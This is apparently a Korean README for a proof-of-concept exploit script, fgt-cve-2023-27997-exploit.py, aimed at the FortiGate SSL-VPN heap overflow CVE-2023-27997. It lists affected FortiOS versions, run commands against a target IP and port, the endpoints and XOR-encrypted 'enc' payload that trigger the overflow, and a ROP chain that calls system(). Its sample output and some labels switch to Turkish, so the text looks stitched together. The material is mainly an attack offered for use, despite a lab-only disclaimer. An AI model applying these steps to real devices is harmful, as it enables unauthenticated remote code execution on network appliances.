
FortiGate SSL-VPN CVE-2023-27997 익스플로잇 PoC 스크립트 (ROP 체인 포함)
FortiGate SSL‑VPN CVE‑2023‑27997 취약점 PoC 익스플로잇 스크립트 (ROP 체인 포함)
fgt-cve-2023-27997-exploit.py는 Fortinet FortiGate 장치에서 발견된 중요 취약점 CVE‑2023‑27997에 대한 Proof‑of‑Concept (PoC) 익스플로잇 스크립트입니다.
이 취약점은 FortiOS SSL‑VPN 인터페이스에서 인증 없이 **원격 코드 실행(RCE)**을 가능하게 하는 힙 기반 버퍼 오버플로(heap-based buffer overflow) 오류로 인해 발생합니다.
스크립트 작동 단계:
/remote/hostcheck_validate 엔드포인트에 전송하여 메모리 오버플로를 트리거합니다.주의: 이 스크립트는 공인된 테스트 또는 실험실 환경에서만 사용해야 합니다.
| 제품 | 버전 |
|---|---|
| FortiOS | 7.2.0 – 7.2.5 7.0.0 – 7.0.11 6.4.0 – 6.4.12 6.2.0 – 6.2.14 6.0.0 – 6.0.16 |
| FortiProxy | 관련 버전 |
pip3 install -r requirements.txt
requirements.txt 내용:
requests urllib3
python3 fgt-cve-2023-27997-exploit.py <TARGET_IP> <TARGET_PORT>
Örnek:
python3 fgt-cve-2023-27997-exploit.py 192.168.1.200 10443
| 인수 | 설명 |
|---|---|
<TARGET_IP> | 대상 FortiGate IP 주소 |
<TARGET_PORT> | SSL‑VPN 포트 (기본값: 443 또는 10443) |
[*] FortiOS 7.0.5 CVE-2023-27997 ROP Chain Ping Exploit Başlatılıyor...
[+] Salt alındı: 749a2b77
[+] Enc parametresi oluşturuldu (1024 karakter)
[!] 500 Internal Server Error - Bellek taşması veya crash olabilir!
/remote/info --> salt değeri alınır
/remote/hostcheck_validate?enc=<payload> --> buffer overflow tetiklenir
enc 매개변수는 salt + seed 조합에서 생성된 XOR 키스트림으로 암호화됩니다.| 단계 | Gadget | 설명 |
|---|
| 1 | pop rdi ; ret | RDI에 명령 주소를 로드 |
| 2 | system@plt | 명령 실행 |
| – | 0xdeadbeefdeadbeef | 플레이스홀더; 실제 주소는 실험실 환경에서 결정해야 합니다 |
이 PoC는 통제된 테스트 환경에서 힙 그루밍(heap grooming) 없이 작동하도록 설계되었습니다.